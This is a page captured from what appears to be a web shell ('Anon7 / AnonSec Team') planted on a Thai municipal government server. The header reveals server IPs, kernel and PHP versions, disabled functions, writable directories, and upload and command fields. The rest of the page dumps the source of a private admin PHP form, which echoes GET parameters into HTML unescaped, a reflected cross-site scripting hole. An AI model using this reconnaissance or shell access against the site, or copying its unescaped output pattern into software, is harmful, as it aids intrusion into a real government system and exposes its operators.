NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 18.116.49.6
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/domains/sumpatuan.go.th/private_html/admin/data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/domains/sumpatuan.go.th/private_html/admin/data//About-adddata.php
<?php  
    require_once('session_backend_administrator.php');
    header('Content-Type: text/html; charset=UTF-8');
    if($STT_login=="admin_login_true"){
        date_default_timezone_set("Asia/Bangkok"); 
        // $lastupdate = date('d/m/Y H.i'); 
        $check_type = $con_db_administrator->real_escape_string($_GET['type']);
        $check_link = $con_db_administrator->real_escape_string($_GET['link']);

        if( $check_type=="" or !isset($check_type) or $check_link=="" or !isset($check_link) ){
            echo "<SCRIPT type='text/javascript'>
                    alert('ไม่พบหัวข้อ ที่ต้องการเพิ่มข้อมูลใหม่');
                    window.location.replace(document.referrer);
                </SCRIPT>";
            exit;
        }
        
    }else{
        echo "<SCRIPT type='text/javascript'>
                alert('กรุณาเข้าสู่ระบบ');
                window.location.replace('../index');
            </SCRIPT>";
        exit;
    }
?>
<!doctype html>
<html lang="en">
    <head>
        <?php  include_once ("head.html"); ?>
    </head>
    <body class="" >
        <?php  include_once ("menu.php"); ?>
        <div class="container pt-3 pb-4">
            <div class="row ">
                <div class="col text-secondary" >
                    <div class="p-1 ps-2 box-link " ><a href="../backend-administrator" class="link-info">หน้าหลัก</a> / <a href="<?php echo $check_link;?>" class="link-info"><?php echo $check_type;?> </a> / เพิ่มข้อมูล <?php echo $check_type;?> </div>
                </div>
                <div class="w-100 pb-4"></div>
                <div class="col m-auto" >
                    <div class="bg-line-1 hideTab"></div>
                </div>
                <div class="col-auto text-center">
                    <span class="lh-sm h1 fw-700">เพิ่มข้อมูล <br class="showTab"><?php echo $check_type;?> </span>
                </div>
                <div class="col m-auto" >
                    <div class="bg-line-1 hideTab"></div>
                </div>
            </div>

            <div class="row mt-3 mb-4 p-2">
                <div class="col box-data p-4">
                    <form action="action/save-About-adddata" name='form_About_adddata' id='form_About_adddata' method="post" enctype="multipart/form-data">
                        <input type="hidden" name="linkabout" value="<?php echo $check_link;?>" readonly>
                        <div class="row mb-3">
                            <label class="col-lg-2 col-form-label fw-700 txtbox-align">วันเวลาที่ลง</label>
                            <div class="col-lg-10">
                                <input type="date" class="form-control" name="txt_date" data-date-format="DD MMMM YYYY" style="max-width:150px" required>
                            </div>
                        </div>
                        <hr class="hr-das mb-4">
                        <div class="row mb-4">
                            <label class="col-lg-2 col-form-label m-auto fw-700 txtbox-align">หัวข้อ</label>
                            <div class="col-lg-10">
                                <input type="text" class="form-control " name="txt_name" required>
                            </div>
                        </div>
                        <div class="row mb-4">
                            <label class="col-lg-2 col-form-label m-auto fw-700 txtbox-align">ประเภท</label>
                            <div class="col-lg-10">
                                <input type="text" class="form-control " value="<?php echo $check_type;?>" disabled readonly>
                                <input type="hidden" name="txt_type" value="<?php echo $check_type;?>" readonly>
                            </div>
                        </div>
                        <div class="row mb-4">
                            <label class="col-lg-2 col-form-label m-auto fw-700 txtbox-align">รายละเอียด</label>
                            <div class="col-lg-10">
                                <textarea id="editor" name="txt_data" ></textarea>
                            </div>
                        </div>
                        <div class="row mb-4">
                            <label class="col-2 col-form-label m-auto fw-700 txtbox-align">สถานะ</label>
                            <div class="col-10">
                                <select class="form-select w-selec" name="statusshow">
                                    <option value="0">แสดง</option>
                                    <option value="1">ไม่แสดง</option>
                                </select>
                            </div>
                        </div>
                        <hr class="hr-das mb-3">
                        <div class="text-center">
                            <button type="submit" class="btn btn-success"><i class="fas fa-save me-2" ></i> บันทึกข้อมูล</button>
                            <button type="button" class="btn btn-danger ms-2" onclick="location.href='<?php echo $check_link;?>'">ย้อนกลับ</button>
                        </div>
                    </form>
                </div>
                <div class="w-100"></div>
                <div class="col mx-auto box-data p-4 mt-4" >
                        <div class="fs-30 fw-700 text-center">จัดการไฟล์</div>
                        <ul class="nav nav-tabs" id="myTab" role="tablist">
                            <li class="nav-item" role="presentation">
                                <button class="nav-link active" id="img-tab" data-bs-toggle="tab" data-bs-target="#img-tab-pane" type="button" role="tab" aria-controls="img-tab-pane" aria-selected="true"><i class="fas fa-file-image"></i> อัพโหลดรูปภาพ</button>
                            </li>
                            <li class="nav-item" role="presentation">
                                <button class="nav-link" id="file-tab" data-bs-toggle="tab" data-bs-target="#file-tab-pane" type="button" role="tab" aria-controls="file-tab-pane" aria-selected="false"><i class="fas fa-folder-open"></i> อัพโหลดไฟล์เอกสาร</button>
                            </li>
                        </ul>
                        <div class="tab-content" id="myTabContent">
                            <div class="tab-pane fade show bg-white p-4 border mh_upload active " id="img-tab-pane" role="tabpanel" aria-labelledby="img-tab" tabindex="0" >
                                <div class="alert alert-warning" role="alert">
                                    <strong><i class="fas fa-exclamation-circle"></i> บันทึกข้อมูล</strong> ก่อนทำการอัพโหลดไฟล์รูปภาพ
                                </div>
                                <div class="row">
                                    <label class="col-auto col-form-label fw-700 txtbox-align">เพิ่มไฟล์รูปภาพ</label>
                                    <div class="col">
                                        <form action="action/save-addfiledoc-imgabout" name='form_imgabout' id='form_imgabout' method="post" enctype="multipart/form-data">
                                            <div class="input-group mt-1">
                                                <input type="file" class="form-control" id="uploadFile" name="uploadImg[]" aria-label="Upload" accept="image/png, image/gif, image/jpeg"  multiple disabled>
                                                <button type="submit" class="btn btn-primary" disabled><i class="fas fa-cloud-download-alt"></i> อัพโหลดรูปภาพ</button>
                                            </div>
                                            <div class="mt-2 lh-base fs-14 text-secondary fw-300">
                                                - อัพโหลดไฟล์รูปภาพ เพื่อนำไปเป็นสไลด์รูปภาพประกอบเนื้อหา 
                                                <br>- ถ้ามีรูปภาพเพียงรูปเดียว จะเป็นแสดงภาพสูงสุดที่ 600px
                                                <br>- ถ้ามีรูปภาพหลายรูป จะเป็นภาพสไลด์ ตอนแสดงผล จะกำหนดไว้สูงสุดที่ 500px
                                            </div>
                                        </form>
                                    </div>
                                </div>
                                <table class="mt-3 table table-sm table-striped table-bordered table-hover ">
                                    <thead >
                                        <tr class="text-center table-secondary fs-16">
                                            <th style="width:94%">ไฟล์รูปภาพ 0 รายการ</th>
                                            <th style="width:6%">ลบ</th>
                                        </tr>
                                    </thead>
                                    <tbody class="table-group-divider fs-16">
                                            <tr><td colspan="7"><div class="w-100 text-center mt-3 mb-3 text-secondary opacity-50 fs-16" ><i class="fas fa-eye-slash"></i>ไม่พบไฟล์รูปภาพ</div></td></tr>
                                    </tbody>                            
                                </table>
                            </div>
                            <div class="tab-pane fade bg-white p-4 border" id="file-tab-pane" role="tabpanel" aria-labelledby="file-tab" tabindex="0">
                                <div class="alert alert-warning" role="alert">
                                    <strong><i class="fas fa-exclamation-circle"></i> บันทึกข้อมูล</strong> ก่อนทำการอัพโหลดไฟล์เอกสาร
                                </div>
                                <div class="row">
                                    <label class="col-auto col-form-label fw-700 txtbox-align">เพิ่มไฟล์เอกสาร</label>
                                    <div class="col">
                                        <form action="action/save-addfiledoc-fileabout" name='form_fileabout' id='form_fileabout' method="post" enctype="multipart/form-data">
                                            <div class="input-group mt-1">
                                                <input type="file" class="form-control" id="uploadFile" name="uploadFile[]" aria-label="Upload" accept="image/png, image/gif, image/jpeg, application/pdf,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document,application/vnd.ms-excel,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"  multiple disabled>
                                                <button type="submit" class="btn btn-primary" disabled><i class="fas fa-cloud-download-alt"></i> อัพโหลดไฟล์เอกสาร</button>
                                            </div>
                                            <div class="mt-2 lh-base fs-14 text-secondary fw-300">
                                                - อัพโหลดไฟล์เอกสารที่เกี่ยวข้องกับหัวข้อ เพื่อนำไปเผยแพร่หน้าข้อมูล
                                                <br>- เปลี่ยนชื่อไฟล์ให้เกี่ยวข้องกับหัวข้อ ก่อนทำการเลือกไฟล์อัพโหลด
                                                <br>- อัพโหลดได้เฉพาะไฟล์รูปภาพ , .pdf , .doc/.docx , .xls/.xlsx
                                                <br>- สามารถอัพโหลดไฟล์เพิ่มในภายหลังได้
                                            </div>
                                        </form>
                                    </div>
                                </div>
                                <table class="mt-3 table table-sm table-striped table-bordered table-hover ">
                                    <thead >
                                        <tr class="text-center table-secondary fs-16">
                                            <th style="width:94%">ไฟล์เอกสาร 0 รายการ</th>
                                            <th style="width:6%">ลบ</th>
                                        </tr>
                                    </thead>
                                    <tbody class="table-group-divider fs-16">
                                            <tr><td colspan="7"><div class="w-100 text-center mt-3 mb-3 text-secondary opacity-50 fs-16" ><i class="fas fa-eye-slash"></i>ไม่พบไฟล์เอกสาร</div></td></tr>
                                    </tbody>                            
                                </table>
                            </div>
                        </div>
                </div>
            </div>

            <?php  include_once ("../footer.php"); ?>
            <style>
                .ck-editor__editable {
                    min-height: 250px;
                }
            </style>
            <script>
                ClassicEditor
                    .create( document.querySelector( '#editor' ), {
                        mediaEmbed: {
                            previewsInData: true
                        }
                    } )
                    .then( editor => {
                        window.editor = editor;
                    } )
                    .catch( error => {
                        console.error( error );
                    } );
            </script>
        </div>
    </body>

</html>

Anon7 - 2022
AnonSec Team